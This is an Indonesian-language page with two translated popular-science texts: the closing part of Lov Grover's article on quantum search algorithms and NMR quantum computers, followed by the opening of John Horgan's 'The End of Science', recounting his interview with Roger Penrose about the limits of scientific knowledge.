Sebagian besar pencarian tentu saja perlu memayar daftar yang lebih panjang dari sekedar daftar berisi 4 entri. Untuk melakukan searching semacam itu, algoritma harus berulang kali mengulang ketiga operasi kuantum di atas, serta mengarahkan sistem ke stata yang diinginkan di setiap putaran. Mengapa pencarian dengan algoritma kuantum sedemikian ampuh? Karena untuk menemukan nama dalam daftar yang berisi N item, algoritma tersebut hanya membutuhkan akar kuadrat N (N^1 /2 ) langkah. Algoritma pencarian klasik berbasil trial and error membutuhkan N/2 langkah untuk melakukan hal yang sama. Dengan demikian, komputer kuantum dapat mencari suatu nama pada buku telepon yang berisi 1000.000 nama dengan 1000 kali percobaan saja, alih- alih 500 ribu percobaan. Semakin panjang daftar tersebut, semakin dramatis pula algoritma kuantum mengungguli rivalnya (baca: algoritma klasik).

Algoritma ini tak hanya cocok untuk mencari nomer telepon, namun dapat pula dimanfaatkan untuk mencari item-item yang tidak tertulis secara eksplisit dalam daftar. Ia dapat mengaplikasikan pendekatan brute- force untuk sembarang persoalan yang potensi pemecahannya dapat dihitung secara sistemastis, dan mencoba semuanya hingga solusi yang benar ditemukan. Versi nonkuantum dari pendekatan brute- force ini sudah merupakan menu pokok dalam komputasi; algoritma jenis ini diaplikasikan pada program- program game, misalnya permainan catur. Karena kecepatan dan kemampuannya, algoritma pencarian sangat mungkin menjadi komponen kunci dalam peranti lunak masa depan.

Jika abad ke 21 diharapkan menjadi era komputer kuantum, beberapa kemajuan masih diperlukan. Kemampuan model-model yang dibangun saat ini ternyata masih sangat jauh dari potensi teoritisnya. Model-model itu bahkan belum sanggup memfaktorkan bilangan dua digit. Sejauh ini, pendekatan yang paling menjanjikan berasal dari teknologi yang justru lebih dikenal di dunia medis, yakni nuclear magnetic resonance (NMR). Komputer kuantum berteknologi NMR tak lain adalah molekul-molekul dalam zat cair; inti- inti atomik dalam molekul tersebut menyandikan informasi. Teknik ini tidak langsung mengekstrak hasil dari sejumlah qubit yang fragile sifatnya, tetapi memanipulasi (identik dengan 'memrogram') sejumlah besar inti dengan pulsa-pulsa frekuensi radio, kemudian mengaplikasikan statistik untuk menyaring jawaban yang benar (kira-kira satu hasil per sejuta) agar terbebas dari derau latar belakang.

Pada tahun 1997, Isaac L. Chuang dari IBM Almaden Research Center di San Jose, California, Neil A. Gershenfeld dari Massachusetts Institute of Technology, dan Mark G. Kubinec dari University of California, Berkeley, membangun NMR quantum computer sederhana yang memiliki dua qubit. Mereka menggunakan kloroform cair sebagai media. 'Program' yang dijalankan pada komputer itu adalah algoritma pencarian (searching algorithm) temuan saya, yang diaplikasikan pada suatu daftar dengan empat buah item. Belakangan, sebuah kelompok riset di Universitas Oxford juga membangun perangkat yang sama, namun menggunakan dua inti hidrogen yang terdapat pada zat kimia organik yang disebut cytosine.

NMR quantum computers dengan tiga qubit yang menjalankan routine program error corection dari Shor dan Steane telah didemonstrasikan pada tahun 1998 oleh Raymond Laflamme dan kolega-koleganya di Los Alamos National Laboratory, New Mexico. Apakah suatu saat nanti kita akan mengoperasikan peranti lunak untuk komputer kuantum? Berapa lama kita harus menunggu sebelum akhirnya komputer kuantum benar- benar menjelma menjadi mesin komputasi mahadaya seperti yang diprediksikan dalam berbagai kajian teoritis? Saya tidak ingin menantang Anda untuk bertaruh. Namun saya mengajak semua futurolog dan calon futurolog untuk mengingat kembali kalimat yang tercetus pada suatu diskusi mengenai Electronic Numerical Integrator and Calculator (ENIAC) yang muncul dalam majalah Popular Mechanics edisi Maret 1949 : Kalkulator yang terdapat dalam ENIAC terdiri dari 18.000 tabung hampa dengan berat keseluruhan mencapai 30 ton, tetapi komputer di masa depan mungkin hanya tersusun atas 1000 tabung hampa dengan berat tak lebih dari 1 ,5 ton.

Lov Grover sendiri merupakan eksponen utama teori komputasi kuantum. Pada tahun 1994, ia menemukan suatu algoritma yang kelak terbukti sebagai algoritma pencarian tercepat yang mungkin dikerjakan oleh komputer kuantum. Saat ini Lov Grover tercatat sebagai peneliti pada divisi riset ilmu fisika di Bell Labs, Murray Hill, New Jersey.

The End of Science

The End of Science
(Facing the Limits of Knowledge in the Twilight of Scientific Age)

Pada musim panas th 1989, dalam perjalanan ke pedalaman negara
bagian New York, saya mulai memikirkan secara serius kemungkinan
bahwa sains, sains murni, telah berakhir. Saya terbang ke
Universitas Syracuse untuk mewawancarai Roger Penrose, seorang ahli
fisika Inggris yang menjadi dosen tamu di sana. Sebelum bertemu
Penrose, saya bergulat membaca bukunya yang padat dan rumit, "The
Emperor's New Mind", yang secara mengagetkan menjadi bestseller
beberapa bulan kemudian, setelah mendapat pujian di New York Times
Book Review. Di dalam buku itu, Penrose mengamati panorama luas
sains modern dan melihat kekurangannya. Menurut Penrose,
pengetahuan, sekalipun sangat kuat dan kaya, tidak mungkin
menjelaskan misteri eksistensi yang terakhir, yakni kesadaran
manusia.


Penrose berspekulasi bahwa kunci dari kesadaran mungkin tersembunyi
di celah antara kedua teori utama ilmu fisika modern, yakni
mekanika kuantum, yang menguraikan elektromagnetisme dan gaya-gaya
nuklir, dan relativitas umum, teori Einstein tentang gaya berat.
Banyak ahli fisika, mulai dengan Einstein, telah mencoba dan gagal
memadukan mekanika kuantum dan relativitas umum ke dalam suatu
teori "penyatuan" yang tunggal, tanpa sambungan. Di dalam bukunya,
Penrose membuat sketsa tentang bagaimana kira-kira tampaknya teori
penyatuan itu, dan bagaimana teori itu dapat menghasilkan pikiran.
Skemanya, yang melibatkan efek-efek kuantum dan gravitasional yang
eksotik, yang meresapi otak, terasa kabur, berliku-liku, tanpa
didukung bukti-bukti dari ilmu fisika maupun sains syaraf. Tetapi
jika kelak ternyata benar dari segi mana pun, itu akan merupakan
pencapaian yang monumental, sebuah teori yang sekaligus akan
menyatukan ilmu fisika dan memecahkan salah satu masalah filosofis
yang paling tangguh, yakni hubungan antara jiwa dan badan. Saya
pikir, ambisi Penrose itu saja sudah cukup menjadikannya tokoh yang
pantas untuk diprofilkan di majalah Scientific American, yang
mempekerjakan saya sebagai staf penulisnya.


Ketika saya tiba di bandara Syracuse, Penrose telah menunggu saya.
Ia seorang yang mirip malaikat, berambut hitam ikal, dan tampak
sekaligus tidak peduli dan sangat waspada. Sementara ia mengendarai
mobil yang membawa kami ke kampus Syracuse, ia terus-menerus
bimbang apakah ia tidak salah jalan. Ia tampak tenggelam di dalam
berbagai misteri. Saya mendapati diri saya dalam kedudukan yang
menggelisahkan dengan mengusulkan agar ia berbelok ke sini dan
berputar ke sana, sekalipun saya belum pernah mengunjungi Syracuse.
Alhasil, sekalipun kami berdua sama-sama tidak tahu jalan, kami
berhasil mencapai dengan selamat gedung tempat Penrose bekerja.
Ketika memasuki kamar kerja Penrose, kami mendapati seorang rekan
kerjanya meninggalkan sekaleng aerosol yang berwarna cerah
bertuliskan "Superstring" di atas mejanya. Ketika Penrose memencet
tombol di tutup kaleng itu, suatu bahan semacam spageti berwarna
hijau meloncat dari kaleng itu melintasi ruangan.



Penrose tersenyum saja melihat gurauan rekannya itu. 'Superstring'
bukan hanya nama suatu mainan anak-anak, melainkan juga nama dari
suatu partikel hipotetik yang mirip benang dan sangat kecil, yang
diduga adanya dalam suatu teori fisika populer. Menurut teori itu,
gerakan benang-benang ini di dalam ruang berdimensi sepuluh
menghasilkan semua materi dan energi di alam semesta ini dan bahkan
ruang dan waktu itu sendiri. Banyak ahli fisika terkemuka di dunia
merasa bahwa teori superstring mungkin merupakan teori penyatuan
yang mereka cari selama ini; beberapa di antara mereka malah
menamakannya teori segala sesuatu. Penrose bukanlah termasuk orang
yang percaya itu. "Itu tidak mungkin benar," katanya. "Bukan itu
jawaban yang saya harapkan." Saya mulai menyadari, sementara
Penrose berbicara, bahwa baginya 'jawaban' itu lebih daripada
sekadar teori fisika, sekadar cara mengorganisasikan data dan
meramalkan peristiwa. Ia bicara tentang 'Jawaban Akhir': rahasia
kehidupan, jawaban terhadap teka-teki alam semesta.


Penrose mengakui dirinya seorang Platonis. Para ilmuwan tidak
menciptakan kebenaran; mereka menemukannya. Kebenaran-kebenaran
yang sejati memancarkan keindahan, kelurusan, suatu kualitas yang
terlihat jelas, yang memberinya kekuatan ilham. Menurut Penrose,
teori superstring tidak memiliki sifat-sifat ini. Ia mengakui bawah
"saran-saran" yang dikemukakannya di dalam "The Emperor's New
Mind"--yang belum pantas disebut 'teori', katanya--agak kedodoran.
Mungkin saja kelak ternyata salah, bahkan hampir pasti salah di
dalam detailnya. Saya bertanya, apakah dengan berkata demikian,
Penrose menyiratkan bahwa pada suatu hari kelak para ilmuwan akan
menemukan 'Jawaban Akhir', dan dengan demikian mengakhiri seluruh
pencarian ini?

Tidak seperti sementara ilmuwan terkemuka, yang tampak menganggap
sikap berhati-hati sama dengan kelemahan, Penrose malah berpikir
sejenak sebelum menjawab, dan bahkan berpikir sambil menjawab.
"Saya rasa kita masih jauh," katanya perlahan-lahan, sambil
memandang keluar jendela kamar kerjanya, "tapi itu tidak berarti
bahwa pada suatu tahap tertentu tidak mungkin terjadi perkembangan
yang pesat." Ia merenung lagi. "Saya rasa ini menunjuk ke arah
adanya 'jawaban akhir'," lanjutnya, "sekalipun mungkin itu terlalu
pesimistik." Kalimatnya yang terakhir itu membuat saya tertegun.
Apanya yang pesimistik kalau seorang pencari kebenaran mengira
bahwa kebenaran mungkin tercapai, tanya saya. "Memecahkan misteri
memang baik," jawab Penrose. "Dan jika semua misteri telah
terpecahkan, bagaimana pun juga sedikit banyak akan membosankan."
Lalu ia bergumam, seolah-olah terkejut oleh keanehan kata-katanya
sendiri.


Lama setelah meninggalkan Syracuse, saya merenungkan kata-kata
Penrose. Mungkinkah sains berakhir? Dapatkah para ilmuwan
mempelajari segala sesuatu yang dapat dipelajari? Dapatkah mereka
mengenyahkan misteri dari alam semesta? Sukar bagi saya
membayangkan dunia tanpa sains, dan itu bukan hanya karena
pekerjaan saya bergantung padanya. Saya menjadi penulis sains
sebagian besar disebabkan karena saya menganggap sains--sains
murni, yakni mencari pengetahuan demi pengetahuan itu
sendiri--sebagai upaya manusia yang paling mulia dan paling
bermakna
. Kita ada di sini untuk memahami mengapa kita ada di sini.
Tujuan apa lagi yang lebih pantas bagi manusia?


Saya tidak selamanya tergila-gila pada sains. Di kolese, saya
melewati suatu tahap ketika kritik sastra saya lihat sebagai
kegiatan intelektual yang paling menggairahkan. Namun, pada suatu
larut malam, sehabis minum banyak kopi, dan menghabiskan berjam-jam
menulis suatu tafsiran baru terhadap karya James Joyce Ulysses,
saya mengalami krisis kepercayaan. Berbagai orang pandai telah
berdebat selama berpuluh tahun tentang makna Ulysses. Tetapi salah
satu pesan kritisisme modern, dan sastra modern, adalah bahwa semua
naskah bersifat "ironik"; semua memiliki makna ganda, tidak satu
pun definitif. Oedipus Rex, Inferno, bahkan Alkitab dalam suatu
makna hanya sekadar "bercanda", tidak perlu dianggap terlalu
literal. Argumentasi tentang makna tidak pernah dapat
terselesaikan, oleh karena satu-satunya makna sejati dari suatu
naskah adalah naskah itu sendiri. Sudah tentu, pesan ini pun
berlaku untuk para kritikus itu sendiri. Yang tinggal akhirnya
adalah regresi tafsir-tafsir tanpa akhir, dan tidak satu pun
darinya merupakan kata akhir. Tetapi setiap orang tetap berdebat!
Untuk apa? Agar masing-masing kritikus tampak lebih cerdik, lebih
menarik, daripada yang lain? Semuanya tampak tidak berarti lagi.


Sekalipun bidang studi utama saya adalah bahasa Inggris, saya
mengambil sekurang-kurangnya satu mata kuliah sains atau matematika
setiap semester. Memecahkan soal-soal kalkulus atau fisika
merupakan pergantian suasana yang menyenangkan dari tugas-tugas
bidang humanities yang kacau; saya memperoleh kepuasan yang
mendalam dalam menemukan jawaban yang benar dari suatu soal.
Semakin saya mengalami frustrasi terhadap sudut pandang ironik dari
sastra dan kritik sastra, semakin saya mengapresiasikan pendekatan
sains yang lugas dan tidak omong-kosong. Para ilmuwan mampu
mengajukan pertanyaan-pertanyaan dan memecahkannya dengan cara yang
tak dapat dilakukan oleh para kritikus, filsuf, dan ahli sejarah.
Teori-teori diuji secara eksperimental, dibandingkan dengan
realitas, dan yang tidak sesuai dibuang. Kekuatan sains tidak dapat
dimungkiri: sains telah memberikan kepada kita komputer dan pesawat
jet, vaksin dan bom termonuklir, berbagai teknologi yang, baik atau
buruk, telah mengubah jalan sejarah. Sains, lebih dari modus
pengetahuan lainnya--kritik sastra, filsafat, seni,
agama--menghasilkan pencerahan yang lestari tentang hakikat
benda-benda. Sains telah membawa kita sampai sejauh ini.
Pencerahan-mini saya pada akhirnya membawa saya menjadi penulis
sains. Peristiwa itu juga mewariskan kepada saya suatu kriteria
sains: sains menggarap masalah-masalah yang dapat dijawab,
setidak-tidaknya dalam prinsip, asal saja tersedia cukup waktu dan
sumber daya.


Sebelum saya bertemu dengan Penrose, saya menganggap sains itu
tidak berujung, bahkan tidak terbatas. Kemungkinan bahwa para
ilmuwan pada suatu hari kelak menemukan suatu kebenaran yang begitu
hebat sehingga tidak memerlukan penyelidikan-penyelidikan lebih
jauh saya anggap paling-paling isapan jempol, atau semacam
hiperbola yang dibutuhkan untuk menjual sains (atau buku-buku
sains) kepada masyarakat awam. Kesungguhan, dan ambivalensi, dari
Penrose dalam mengkaji prospek suatu teori final memaksa saya
menilai kembali pandangan-pandangan saya tentang masa depan sains.
Sementara waktu berjalan, saya menjadi terobsesi dengan masalah
itu. Apakah batas-batas sains itu, jika batas itu ada? Apakah sains
tidak terbatas, ataukah ia fana seperti kita? Jika fana, apakah
akhir dari sains sudah terlihat? Sudah menjelang?





Setelah pembicaraan saya yang pertama dengan Penrose, saya mencari
ilmuwan-ilmuwan lain yang mengadu otak mereka dengan batas
pengetahuan: para ilmuwan fisika partikel, yang bermimpi tentang
suatu teori terakhir dari materi dan energi; para ahli kosmologi,
yang mencoba memahami secara tepat bagaimana dan kapan alam semesta
kita tercipta; para ahli biologi evolusioner, yang mencoba
menetapkan bagaimana asal mula kehidupan, serta hukum-hukum apa
yang mengatur pemekarannya kemudian; para ahli neurosains yang
meneropong proses-proses dalam otak yang menghasilkan kesadaran;
para penjelajah khaos dan kompleksitas, yang berharap dengan
komputer dan teknik-teknik matematis baru dapat menghidupkan
kembali sains. Saya juga bicara dengan para filsuf, termasuk
beberapa orang yang dikabarkan meragukan apakah sains akan pernah
mencapai kebenaran yang objektif dan mutlak. Saya menulis sejumlah
artikel tentang ilmuwan dan filsuf ini untuk majalah Scientific
American.




Ketika pertama kali saya berpikir untuk menulis sebuah buku, saya
membayangkannya sebagai suatu seri potret, yang menampilkan sampai
ke bisul-bisulnya, dari semua pencari kebenaran dan penolak
kebenaran yang dapat saya wawancarai. Saya bermaksud menyerahkan
kepada pembaca untuk menentukan sendiri, mana ramalan masa depan
sains yang masuk akal dan mana yang tidak. Bagaimana pun juga,
siapakah yang sungguh-sungguh tahu, apakah batas terakhir dari
pengetahuan? Tetapi berangsur-angsur, saya mulai membayangkan bahwa
saya tahu; saya merasa yakin bahwa satu skenario tertentu lebih
mungkin ketimbang semua yang lain. Saya memutuskan untuk tidak
menganut keobyektifan jurnalistik, dan menulis sebuah buku yang
terang-terangan menilai, bersifat argumentatif, dan personal.
Sementara tetap berfokus pada ilmuwan dan filsuf secara individual,
buku ini akan menyajikan pula pandangan saya. Saya merasa
pendekatan itu akan lebih sesuai dengan keyakinan saya bahwa
kebanyakan pernyataan tentang batas-batas pengetahuan pada akhirnya
bersifat sangat idiosinkratik (bersifat khas individual).


Sekarang sudah jelas bahwa ilmuwan bukanlah sekadar mesin penghasil
pengetahuan; mereka dituntun oleh emosi dan intuisi di samping
penalaran dingin dan perhitungan. Saya mendapati, ilmuwan jarang
menunjukkan sifat manusiawinya, begitu terombang-ambing oleh
ketakutan dan keinginan mereka, seperti ketika mereka berhadapan
dengan batas-batas pengetahuan. Para ilmuwan yang terbesar
semata-mata berharap untuk menemukan kebenaran-kebenaran tentang
alam semesta (di samping memperoleh ketenaran, hadiah, dan jabatan
di perguruan tinggi, serta memperbaiki kehidupan umat manusia);
mereka ingin tahu. Mereka berharap, dan percaya, bahwa kebenaran
[terakhir] dapat dicapai, bukan sekadar ideal atau asimtot
(pendekatan), yang mereka dekati terus-menerus. Mereka juga
percaya, seperti saya juga, bahwa pencarian pengetahuan adalah
kegiatan manusia yang paling mulia dan paling berarti.


Ilmuwan yang menganut kepercayaan ini sering kali dituduh arogan.
Beberapa memang arogan, bahkan sangat arogan. Tetapi saya
mendapati, banyak yang lain yang merasa cemas alih-alih arogan.
Dewasa ini adalah masa-masa sulit bagi pencari kebenaran. Kegiatan
ilmiah terancam oleh kaum teknofob (orang yang fobi terhadap
teknologi), pejuang hak asasi binatang, kaum fundamentalis agama,
dan yang paling penting, para politisi kikir. Berbagai kendala
sosial, politis, dan ekonomis membuat lebih sukar untuk
mempraktekkan sains, khususnya sains murni, di masa depan.


Lagipula, sains sendiri, sambil maju, selalu menetapkan batas-batas
pada kekuatannya sendiri. Teori relativitas khusus Einstein
melarang penyebaran materi atau bahkan informasi pada kecepatan
lebih dari kecepatan cahaya; mekanika kuantum mendalilkan bahwa
pengetahuan kita tentang alam mikro akan selalu tidak pasti; teori
khaos menguatkan bahwa, sekalipun tanpa ketidakpastian kuantum,
banyak fenomena tidak mungkin diramalkan; dalil ketidaklengkapan
Kurt Goedel memustahilkan penyusunan suatu deskripsi matematis yang
lengkap dan konsisten dari realitas. Dan biologi evolusioner
terus-menerus mengingatkan kita bahwa kita adalah hewan, yang
didesain oleh seleksi alamiah bukan untuk menemukan
kebenaran-kebenaran mendalam tentang alam semesta, melainkan untuk
berkembang biak.


Kaum optimis, yang berpendapat bahwa mereka dapat mengatasi semua
batas-batas ini, masih harus menghadapi lawan lain, mungkin yang
paling merisaukan. Apakah yang akan dilakukan oleh para ilmuwan,
jika mereka berhasil mengetahui apa yang dapat diketahui? Lalu,
apakah tujuan hidup sesudah itu? Apa tujuan umat manusia sesudah
itu? Roger Penrose mengungkapkan kecemasannya terhadap dilema ini
ketika ia menyebut impiannya tentang suatu teori terakhir sebagai
pesimistik.



Menghadapi masalah-masalah yang menggelisahkan ini, tidak heran
bila banyak ilmuwan yang saya wawancarai untuk buku ini tampak
tercekam oleh kebimbangan yang mendalam. Tetapi malaise mereka,
menurut saya, mempunyai akar lain yang lebih langsung. Jika kita
peracya akan sains, kita harus menerima kemungkinan--atau
kemungkinan besar--bahwa zaman penemuan sains yang besar telah
lewat. Yang saya maksud dengan sains bukanlah sains terapan,
melainkan sains yang paling murni dan paling besar, yakni upaya
primordial manusia untuk memahami alam semesta dan tempat kita di
dalamnya. Penelitian lebih jauh mungkin tidak akan memberikan lagi
pencerahan dan revolusi besar, melainkan sekadar hasil-hasil
tambahan yang makin lama makin kecil.


Kecemasan Pengaruh Ilmiah


Dalam mencoba memahami suasana hati para ilmuwan modern, saya
mendapati bahwa ide-ide dari kritik sastra dapat dimanfaatkan.
Dalam esainya pada th 1973 yang berpengaruh, "The Anxiety of
Influence" (Kecemasan Pengaruh), Harold Bloom menyamakan penyair
modern dengan Setan dalam karya Milton, "Paradise Lost". Seperti
Setan yang berjuang untuk menampilkan individualitasnya dengan
menantang kesempurnaan Tuhan, begitu pula penyair modern terlibat
pergulatan seperti Oedipus untuk menemukan jatidirinya dalam
hubungannya dengan Shakespeare, Dante, dan para master besar
lainnya. Upaya itu mau tidak mau akan sia-sia, kata Bloom, karena
tidak ada penyair bisa berharap untuk mendekati, apalagi melampaui,
kesempurnaan para pendahulu itu. Semua penyair modern pada dasarnya
adalah tokoh-tokoh tragis, pendatang belakangan.


Para ilmuwan modern pun pendatang belakangan, dan beban mereka jauh
lebih berat ketimbang para penyair. Para ilmuwan tidak hanya harus
menerima "King Lear" dari Shakespeare, tapi juga hukum-hukum gerak
dari Newton, teori seleksi alamiah dari Darwin, dan teori
relativitas umum dari Einstein. Teori-teori ini bukan hanya indah;
mereka juga benar, benar secara empiris, sedemikian rupa tidak
dapat ditiru oleh suatu karya seni. Kebanyakan peneliti terpaksa
mengakui ketidakmampuan mereka untuk melampaui apa yang oleh Bloom
disebut "kejengahan suatu tradisi yang sudah menjadi begitu kaya
sehingga tidak membutuhkan apa-apa lagi." Mereka mencoba memecahkan
apa yang secara merendahkan disebut oleh filsuf ilmu Thomas Kuhn
sebagai "teka-teki" (puzzles), yakni problem-problem yang
pemecahannya sekadar mendukung paradigma yang ada (tidak
menghasilkan paradigma baru). Mereka sekadar memperhalus dan
menerapkan temuan-temuan rintisan yang brilyan dari para pendahulu
mereka. Mereka mencoba mengukur massa quark dengan lebih teliti,
atau menetapkan bagaimana suatu bagian tertentu dari DNA menuntun
perkembangan otak embrionik. Sedangkan yang lain menjadi apa yang
dilecehkan oleh Bloom sebagai "sekadar pemberontak,
penjungkir-balik kekanak-kanakan dari kategori-kategori moral
konvensional." Para pemberontak ini mengecilkan arti teori-teori
ilmiah yang dominan sebagai rekayasa sosial yang rapuh, alih-alih
sebagai deskripsi dari alam yang teruji secara ketat.


Apa yang oleh Bloom disebut "penyair kuat" menerima kesempurnaan
para pendahulu mereka, namun berupaya melampauinya dengan berbagai
muslihat, termasuk penyalahtafsiran secara halus terhadap
karya-karya pendahulu mereka; hanya dengan demikian para penyair
modern dapat membebaskan diri dari pengaruh masa lampau yang
melumpuhkan. Terdapat pula para "ilmuwan kuat", yakni mereka yang
mencoba menyalahtafsirkan, dan dengan demikian mengatasi, mekanika
kuantum atau teori "big bang" atau evolusi Darwin. Roger Penrose
adalah seorang ilmuwan kuat. Untuk sebagian besar, ia dan
orang-orang lain sejenisnya hanya mempunyai satu pilihan: yakni
menjalankan sains dengan cara yang spekulatif, pasca-empiris, yang
saya sebut "sains ironis". Sains ironis menyerupai kritik sastra
dalam hal menyajikan sudut pandang-sudut pandang, opini-opini, yang
setidak-tidaknya menarik, yang merangsang komentar lebih lanjut.
Tetapi sains ironis tidak mendekat kepada kebenaran. Ia tidak dapat
mencapai kejutan-kejutan yang dapat dibuktikan secara empiris, yang
memaksa para ilmuwan mengadakan perbaikan penting dalam deskripsi
mereka tentang realitas.


Strategi yang paling sering dipakai oleh kaum ilmuwan kuat adalah
menampilkan semua kelemahan dari pengetahuan ilmiah yang ada
sekarang, semua pertanyaan yang belum terjawab. Tetapi
pertanyaan-pertanyaan itu mungkin tidak akan pernah terjawab secara
definitif oleh karena keterbatasan sains manusiawi. Bagaimana
persisnya alam semesta ini tercipta? Mungkinkah alam semesta kita
merupakan satu saja dari sejumlah alam semesta yang tak terbatas
banyaknya? Mungkinkah quark dan elektron terdiri dari
partikel-partikel yang lebih kecil lagi, dan seterusnya ad
infinitum? Apakah makna sesungguhnya dari mekanika kuantum?
(Kebanyakan pertanyaan tentang makna hanya dapat dijawab secara
ironis, sebagaimana diketahui dalam kritik sastra.) Biologi juga
mempunyai teka-tekinya sendiri yang tak terpecahkan. Bagaimana
persisnya kehidupan mulai di bumi? Apakah terjadinya kehidupan dan
perjalanan evolusinya seperti yang kita lihat ini bersifat niscaya
(tidak mungkin ada alternatif lain)?



Pelaku sains ironis mempunyai satu kelebihan dibandingkan penyair
kuat: yakni selera pembaca awam terhadap "revolusi" ilmiah.
Sementara sains empiris membatu, para jurnalis seperti saya, yang
memuaskan kehausan masyarakat, akan mengalami tekanan yang semakin
berat untuk menampilkan teori-teori yang dianggap melampaui
mekanika kuantum atau teori "big bang" atau seleksi alamiah.
Bagaimana pun juga, para jurnalislah yang sebagian besar
bertanggung-jawab bagi terciptanya kesan populer bahwa
bidang-bidang seperti khaos dan kompleksitas mewakili sains baru
yang lebih tinggi daripada metode reduksionis dari Newton,
Einstein, dan Darwin. Para jurnalis, termasuk saya, telah membantu
ide-ide tentang kesadaran dari Roger Penrose diterima oleh kalangan
yang jauh lebih luas dari yang sepatutnya, menilik kedudukannya
yang lemah di kalangan ahli neurosains profesional.


Saya tidak bermaksud menyiratkan bahwa sains ironis tidak punya
nilai. Jauh dari itu. Setidak-tidaknya, sains ironis, seperti juga
seni dan filsafat yang besar, atau bahkan kritik sastra,
membangkitkan kekaguman dalam diri kita; ia memelihara ketakjuban
kita di hadapan misteri alam semesta. Tetapi ia tidak dapat
mencapai cita-cita mengatasi kebenaran yang telah kita miliki. Dan
jelas ia tidak bisa memberikan kepada kita--malah, ia melindungi
kita dari--"Jawaban Terakhir", yakni suatu kebenaran yang begitu
kuat sehingga melenyapkan keingintahuan kita untuk selama-lamanya.
Bagaimana pun juga, sains sendiri mendalilkan bahwa kita sebagai
manusia selamanya harus puas dengan kebenaran-kebenaran sebagian.


Di dalam sebagian besar dari buku ini, saya akan memeriksa sains
seperti yang dipraktekkan pada hari ini, oleh manusia. (Bab 2
membahas filsafat.) Dalam dua bab terakhir, saya membahas
kemungkinan--yang dikemukakan oleh ilmuwan dan filsuf yang
jumlahnya mengejutkan--bahwa pada suatu hari kelak kita manusia
akan menciptakan mesin yang cerdas yang dapat mengatasi pengetahuan
kita yang kerdil. Dalam versi favorit saya tentang skenario ini,
mesin-mesin akan mengubah seluruh kosmos ini menjadi jaringan
pemroses informasi yang terpadu. Semua materi menjadi batin. Jelas,
proposal ini bukan sains, melainkan impian indah. Namun itu
mengangkat sejumlah pertanyaan menarik, pertanyaan yang biasanya
dibahas oleh para ahli teologi. Apakah yang akan dilakukan oleh
sebuah komputer kosmik yang mahakuasa? Apakah yang akan
dipikirkannya? Saya hanya dapat membayangkan satu kemungkinan. Ia
akan mencoba menemukan "Jawaban Terakhir", jawaban yang tersembunyi
di balik semua pertanyaan, seperti seorang aktor yang memainkan
semua peran dari suatu lakon: Mengapa ada, dan bukan tidak ada? Di
dalam upayanya menemukan "Jawaban Terakhir" terhadap "Pertanyaan
Terakhir", batin universal itu mungkin menemukan batas terakhir
dari pengetahuan.



*) Diterjemahkan dari John Horgan, "The End of Science: Facing the Limits of
Knowledge in the Twilight of Scientific Age", 1997,

By : Eryan Ariobowo (Teknik Fisika ITB)